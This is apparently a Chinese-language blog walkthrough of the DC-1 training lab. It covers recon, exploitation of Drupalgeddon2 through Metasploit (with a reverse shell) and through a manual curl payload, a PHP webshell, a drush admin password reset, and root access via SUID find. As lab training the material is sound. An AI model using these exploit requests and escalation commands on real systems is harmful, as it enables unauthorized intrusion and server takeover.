DC-1靶场完整渗透实战:从Drupal漏洞利用到Linux提权

发布时间:2026/10/20 17:38:30
DC-1靶场完整渗透实战:从Drupal漏洞利用到Linux提权
前两天在本地实验室里把DC-1这个靶场从信息收集到提权完整过了一遍整体打下来非常舒服。DC-1不是什么堆满漏洞的“竞赛题”它更像一个经过设计的真实站点快照一个跑着Drupal 7的老站版本有洞、密码策略松散、SUID位还开了内鬼权限。打完你会发现它每一步都在训练渗透测试里最基础但也最容易被新手忽视的能力——信息收集的顺序、CMS漏洞的利用方式、从WebShell到系统用户的横向移动、再到本机提权。非常适合刚学完网络基础和Linux操作、想动手做一次完整渗透链路的新手也适合老手拿来梳理自己的操作习惯。我当初打这个靶场其实是被一张“Drupal漏洞利用链”的图吸引的打完之后最大的感触是它没有任何一步是“为了为难你而为难你”所有入口都像现实里一个疏于维护的网站一样自然。这篇就把我完整的踩坑、拆解、利用和提权过程整理出来能让你少走不少弯路。1. 从靶场设计反推渗透路线DC-1的训练目标拆解1.1 为什么DC-1值得反复刷很多练手靶场的问题在于“太刻意”开局给个命令注入点然后用完就没了像一道死记硬背的CTF小题。DC-1不是这个路数它模拟的是一台普通服务器上一个有明显历史包袱的内容管理系统你面对的不只是一个漏洞点而是完整的攻击面。这里面有Web层的CMS漏洞、有数据库配置泄露、有可读的配置文件、有Linux本机的SUID权限滥用等于一次覆盖了Web渗透和后渗透两段最重要的技能树。尤其适合作为“第一个完整靶场”的原因有几点不需要内网横向目标就一台机器不需要搞复杂的密码学漏洞利用有现成工具不需要做逆向或堆溢出提权靠的是系统配置问题。你只需要一套标准渗透流程信息收集、漏洞分析、漏洞利用、权限提升就能把整个流程走通。我用一句话总结它的价值DC-1练的不是某一个具体CVE的利用姿势而是“面对一个陌生Web服务怎么一步步把它拿下”的工程化思维。1.2 一条完整的攻击链该怎么画打靶之前我习惯先在纸上把方向列出来再动手。这是从老前辈那里学来的做法和写代码先画流程图一个道理。针对DC-1我提前设计的攻击路线大致是这样部署靶机让靶机和攻击机处于同一隔离网络确认目标IP地址。对目标进行端口扫描找到对外开放的服务。通过HTTP响应头、robots.txt、CHANGELOG文件等线索确认运行的是Drupal CMS及具体版本。针对Drupal版本寻找已知漏洞这里直接定位到当年影响面极大的Drupalgeddon2远程代码执行漏洞。利用漏洞获取一个低权限WebShell通常就是www-data用户。在系统内部继续搜集信息读配置文件、访问数据库、寻找敏感文件。通过修改CMS管理员密码或提取哈希的方式进入后台拿到下一阶段的线索。检查本机SUID权限程序找到可利用的提权点获取root。读取最终flag收尾。这个路线放在任何一次真实渗透里也完全成立。换句话说你练的是方法论不是某个工具的一个参数。2. 环境准备与信息收集先盘清目标再动手2.1 如何快速定位DC-1靶机IPDC-1一般是作为虚拟镜像文件提供的拿到后直接用VMware或VirtualBox导入即可。这里提醒一句把网络模式设为仅主机模式或NAT模式都行但不要设成桥接模式连到别人也在用的局域网里毕竟靶机本身就是个故意留了洞的系统放在隔离环境里才安全。启动靶机后第一件事是找它的IP。我在的网段是192.168.56.0/24攻击机是192.168.56.101所以我习惯先ping一下网关然后对整段做一个主机发现扫描nmap -sn 192.168.56.0/24如果靶机没有自动获得IP你可能需要在虚拟机的启动界面里看它打印的地址DC-1一般会显示登录提示和IP信息。某个版本里它还会提示“DC-1的IP地址是……”如果没有显示也可以直接扫。我用的命令行是这个nmap -sP 192.168.56.0/24这条命令只做主机发现不扫端口速度很快。结果里会多出一台192.168.56.111基本可以确认就是靶机了。注意如果发现扫不到靶机先把防火墙彻底关闭再看虚拟网卡是否处于启用状态。还有个小技巧在攻击机上先arp -a看ARP缓存有时nmap因为ICMP被过滤扫不出来但ARP表里能看到。2.2 端口扫描与服务指纹识别拿到IP之后最忌讳的就是直接用浏览器打开80端口然后硬猜。应该先做一次完整的端口扫描和服务指纹识别。完整扫描很重要。有些靶机故意把后台端口放在高位只扫常见端口会错过真正的攻击面。虽然DC-1主要就是80但养成全端口扫描的习惯没坏处。我用的是全TCP端口扫描nmap -sS -sV -p- 192.168.56.111解释一下几个参数-sS是半开SYN扫描速度快-sV是服务版本探测-p-表示所有端口1到65535。输出结果大概是这样PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian) PHP/5.6.36)只有80端口开着跑的是Apache和PHP。这个信息已经很有价值了Debian系的系统、PHP 5.6、老版本Apache这些都会在后续渗透中给你做版本参考。通常说明这是一台比较老但维护得还算正常的机器。接着我用浏览器打开http://192.168.56.111页面直接出来一个标准的Drupal安装界面。这时候我不急着点来点去先查看响应头curl -I http://192.168.56.111响应头里有这么一行X-Generator: Drupal 7 (https://www.drupal.org)看见Drupal 7我的精神头一下就来了。Drupal 7生命周期内爆出过好几个RCE漏洞尤其是Drupalgeddon系列。继续往下看访问/CHANGELOG.txt能直接看到版本号通常Drupal 7.x的小版本信息都会写在这个文件里。DC-1里的Drupal版本比较旧命令执行漏洞基本可以锁定。信息收集到这里攻击路线已经清晰目标是一个Debian Apache PHP Drupal 7的老站下一步就是找Drupal的漏洞掰开揉碎利用进去。2.3 指纹识别里的几个容易忽略的细节服务指纹收集不是看一眼响应头就完事了。我在实际操作中习惯再确认几个点访问根目录HTML源码查看是否有modules、themes、includes等标准目录路径。请求/robots.txt里面会列出允许和禁止的路径这个文件在真实站点里能直接告诉你后台目录在哪。请求/admin或/user/login看是否会重定向到Drupal登录页。检查/misc/目录是否可访问目录是否列出。这些动作花不了几分钟但往往能让你少猜一步。比如确认了/user/login存在后你就知道后台登录入口在哪后面改密码的时候可以直接登录。我始终觉得信息收集决定一次渗透的上限。漏洞利用本身很多时候是“拿到钥匙开门”钥匙从哪来全都是前面收集阶段攒下来的细节。3. 漏洞利用与WebShell获取从Drupal RCE到系统命令3.1 为什么是Drupalgeddon2Drupal在2018年爆出一批远程代码执行漏洞其中最出名的CVE-2018-7600因为影响范围极大社区直接叫它“Drupalgeddon2”。这个漏洞本质上是Drupal的表单API在处理某些数组参数时存在递归调用缺陷攻击者可以在未授权的情况下通过构造恶意请求执行任意PHP代码。对于训练来说这个漏洞的好处是利用稳定、有成熟的Metasploit模块、也可以用纯手工的HTTP请求打。我第一遍打的时候用了Metasploit打完一遍后我又去读了漏洞分析文章理解了触发点这样才能不只会用工具。DC-1里的Drupal 7版本正是受影响版本所以这条路完全走得通。这也提醒你一个现实问题很多老站不是被什么高深技巧打穿的就是被这种爆了一年还在公网裸奔的公开漏洞打穿的。3.2 用Metasploit快速拿Shell启动Metasploitmsfconsole搜索Drupal相关模块search drupal列表里会有多个模块我选的是exploit/unix/webapp/drupal_drupalgeddon2设置目标地址和反弹地址set RHOSTS 192.168.56.111 set LHOST 192.168.56.101 set LPORT 4444 run这一条命令下去如果一切顺利很快就收到一个meterpreter会话。如果不顺利最常见的原因是LHOST写成了攻击机上别的网卡地址导致反弹连不回来。收到会话后我先执行getuid确认权限getuid返回的是www-dataWeb服务用户符合预期。再执行shell进入系统命令行可以用系统命令查看当前目录id whoami pwd到这里我们已经从“能访问网页”升级为“能在服务器上执行命令”整个渗透的主动权开始转移了。3.3 手工利用的备份方案建议不要只依赖Metasploit最好也手动打一遍。毕竟真实环境中很多时候没有MSF那么顺或者目标机器出网策略严格反弹shell连不上。Drupalgeddon2的手工POC曾经被公开讨论过很多次本质是通过user/register或?quser/register等端点传一个恶意数组参数进去触发#post_render回调执行任意命令。比如你可以直接构造一个URL让服务器执行id并把结果输出到页面curl -k http://192.168.56.111/?quser/registerelement_parentsaccount/mail/%23valueajax_form1_triggering_element_namename_triggering_element_valuetest#post_render[]exec#typemarkup#markupid命令的执行结果会直接回显出来。这种手工方法虽然麻烦点但对理解漏洞原理非常有帮助。拿到命令回显之后下一步就是想方设法反弹一个交互式Shell回来通常用bash反弹、Python反弹或写一句话WebShell。靶机是Debian自带nc或python的可能性较大多试几种总有一种能通。我当时为了保险直接在MSF里又生成了一个Web后门这样即使反弹断了我还能靠网页后门回去write /var/www/html/shell.php文件内容是一个简易的PHP命令执行木马。这一步属于常规后渗透操作但在靶场里用它来应急也是挺好的习惯。4. 深入系统与信息搜集账户、数据库与站点的内部世界4.1 从配置文件挖出数据库口令进入系统之后最优先看的就是Web目录下的配置文件。Drupal的数据库配置位于sites/default/settings.php这个文件几乎在每个Drupal站上都是宝藏。cat /var/www/html/sites/default/settings.php其他内容先不管抓重点看这几行$databases array ( default array ( default array ( database drupal, username root, password XXXXXXXX, host localhost, port 3306, driver mysql, ), ), );数据库用户名是root密码是明文。这不意味着一定有用但它直接让我们省掉了爆破数据库口令这一步。现实里有多少站点把数据库口令写在配置文件里并且文件权限还不是只读的非常多。所以这一步不仅是为了拿数据库更是提醒你Web目录权限收敛是服务器加固的大问题。我尝试用这个用户名和密码连接本地数据库mysql -u root -p drupal密码输入配置里的那个直接进去了。能连数据库意味着什么意味着用户表、密码哈希、后台所有内容全部暴露了。我立刻查看表结构show tables;users表就在那里字段包含uid、name、pass、mail等。执行select * from users;返回了admin用户和一段很长很奇怪的哈希。这一点后面细说。4.2 干掉密码哈希drush快攻法看到pass字段里的哈希很多新手第一反应是扔进hashcat里爆破。我的建议是先别急Drupal默认的密码哈希算法是带盐的多次迭代SHA512而且不是标准格式你用$S$前缀能认出来跑字典的速度非常感人严重浪费时间。DC-1的靶机环境里恰好装了drush——Drupal官方命令行工具。它在/var/www/html目录下可用。这个工具最方便的一点是可以用一条命令直接重置任意用户的密码cd /var/www/html drush user-password admin --passwordhack123这个命令会直接更新数据库中admin用户的密码哈希速度极快完全绕过了破解过程。执行成功后会返回类似admin: hack123的确认信息。这时候再去浏览器打开http://192.168.56.111/user/login用户名admin、密码hack123直接就登录进去了。这不是什么作弊而是真实渗透中非常常见的思路不是所有密码都要破解能改的为什么要猜当然真要修改时必须确保你已经有足够的写入权限。这里是www-data配合drush就能改有时候还需要直接改数据库但思路都一样把“获取密码”问题转成“修改密码”。如果你不想用drush另一个办法是PHP脚本调用Drupal API更新密码哈希或者直接在MySQL里插入一条已知哈希。不过这些都不如drush简单。如果环境中没有drush可以直接搜索有没有备份的settings文件或其它暴露敏感信息的路径。4.3 flag文件与后台线索的串联拿到后台之后我在Drupal的“内容”列表里看到了flag线索。DC-1的设计很有意思每个flag都会给你下一段的提示。你不看的话也能硬着往下走但看了会让思路顺很多。我按照已经拿到的线索梳理了一下flag1在Web根目录下内容提示我“找找隐藏的目录和配置”实际上就是引导去读settings.php。flag2来自数据库查询结果提示需要登录后台找内容。flag3存放在后台内容页提示去找系统中的SUID程序。flag4则在root目录下需要提权成功后才拿得到。所以你打这个靶场时每拿到一个flag不要急着高兴先看看它给了你什么提示。这种“线索-权限-新线索-新权限”的递进关系和真实APT攻击里的“信息收集-权限提升-再收集”链路是完全一致的。我现在进一步在系统里翻找敏感文件。除了Web目录我还看了看/etc/passwd、/home目录、/var/backups等地方。DC-1的flag文件往往命名成flag1.txt、flag2.txt这类直接find就能找到find / -name flag* -type f 2/dev/null这个命令也起到了顺带验证系统文件布局的作用。建议把它记录成一个检查项别光看要真正理解每个文件为什么在这里。5. 提权至rootSUID位滥用实操5.1 先搞清楚什么是SUID提权提权的思路并不复杂Linux系统里有些程序文件上会有一个特殊的权限位叫SUID。如果一个程序设置了SUID位那么无论谁执行它进程的有效用户ID都会变成这个文件所有者的ID。比如root拥有的find如果带SUID位普通用户执行find时就相当于以root身份在运行这个程序。问题在于如果这样一个程序还能通过参数去执行别的命令那等于给普通用户开了一扇通往root的后门。检查SUID文件的命令很标准find / -perm -4000 -type f 2/dev/null/代表从根目录开始-perm -4000表示匹配SUID位2/dev/null把权限不足的报错丢掉。输出里能看到很多常见的SUID文件比如/usr/bin/passwd、/usr/bin/su这些都是正常的。但如果我在列表里看到/usr/bin/find这种本来不应该有SUID位的程序那就有大问题了。DC-1里面find恰好就在SUID列表里。这个配置说白了就是故意留给你的提权入口但它折射出的现实问题是运维图省事给某些常用命令加了SUID最后造成越权这种事在真实环境里真不少见。5.2 利用find执行命令拿到rootfind本身是为查找文件设计的但它有个-exec参数可以在找到文件后执行指定的命令。既然find是以root权限运行的那么它执行的任何命令也会是root权限。经典的利用命令如下find / -exec /bin/sh -p \; -quit这里的关键是-p参数。在部分shell版本中如果检测到真实用户ID和有效用户ID不一致shell会主动放弃特权。使用-p可以禁用这种保护机制让shell继续保持root权限。-quit是找到第一个结果后立刻退出避免长时间遍历整个文件系统。执行后你会看到类似这样的提示符切换成了#而不是原来的$。这个时候执行id输出uid0(root)说明你已经成功提权。整个渗透链路打通。整个利用过程只有一条命令。但我要强调的是要知其所以然。如果你不理解-perm -4000是什么意思不理解-exec是干什么的这场提权就会变成“抄了个命令碰巧成功”换个环境你还是不会。5.3 读最终flag与系统权柄落袋提权成功后我去读root目录下的flagcat /root/flag4.txt看到的是一段提示大意是恭喜你完成了DC-1的挑战同时提醒你“虽然这个模拟环境结束了但真实系统渗透远不止这些”。到这里一次完整的靶场练习就算结束了。但我会建议再做几件事把训练价值最大化把root密码也重置一下或者直接用passwd命令改成自己知道的密码模拟真实后续控制。把攻击过程中用到的命令、输出结果、flag内容整理成一份渗透测试报告。把数据库里的admin密码从hack123再改回一个复杂值保持靶机状态可复用。很多人觉得“拿完root就算完”其实报告整理这一步才是真正的积累。我在靶场里多花的半小时写报告往往比打靶本身收获更大。6. 常见问题与避坑指南我的DC-1通关心得6.1 高频问题速查表打DC-1的过程中我见过不少人在群里卡住自己也踩过坑整理成一张速查表问题可能原因解决方法扫不到靶机IP虚拟网卡未启用 / 防火墙拦截检查VM网卡、关闭防火墙、使用ARP缓存查询80端口访问不了靶机未完全启动等一两分钟再访问或重启靶机Drupalgeddon2利用失败靶机版本不在影响范围 / 网络不通确认版本是否为Drupal 7检查LHOST是否可达反弹Shell不稳定防火墙限制出网切换反向连接方式或利用MSF的Meterpreter直接操作drush命令报错运行目录不在Drupal根目录先cd /var/www/html再执行用/bin/sh提权失败某些shell对euid不一致会降权改用/bin/sh -p或使用python、perl另寻提权路径这张表里的每个问题我在实际操作中至少碰到过一次。尤其是drush那条新手经常忘了先切目录然后报了一堆错就以为思路有问题其实只是目录不对。6.2 我的实操体会坦白讲我第一遍打DC-1时压根没想过能一次打通。中间卡在读Drupal配置、找SUID程序这两步上都很狼狈。第二次再打时我把思路理顺了才发现每一步其实都有迹可循先收集再利用拿到权限后再收集利用新信息再提权。有几个建议想分享给准备打这个靶场的朋友不要跳过信息收集直接上MSF。Web指纹识别的准确性直接影响后续选择。不要只盯着Metasploit。手工curl打一遍Drupalgeddon2你对漏洞的理解会完全不同。拿到www-data后先读settings.php再连数据库再想提权这个顺序很重要。提权命令执行前先检查find有没有SUID位别拿着别人的payload无脑复制。每一次会话结束前把截图和命令保存下来打完至少能产出一份报告。我始终觉得靶场存在的意义不只是“打穿”而是让你把某一类问题的解决路径训练成肌肉记忆。DC-1在这一点上做得相当好——它没有炫技没有故弄玄虚所有的“坑”都安排得明明白白用最朴素的方式让你把Web渗透到系统提权一条链路走完。如果让我给初学者排一个上手顺序我会说先装好环境不看任何writeup自己硬着头皮打一遍打不通再看两篇别人的记录搞清楚卡在哪然后再重新开一台靶机不走捷径地从头打到尾。第三遍再顺手把过程中能用到的经验整理进自己的渗透笔记里。这样刷完三遍DC-1这套流程基本就内化成你自己的东西了。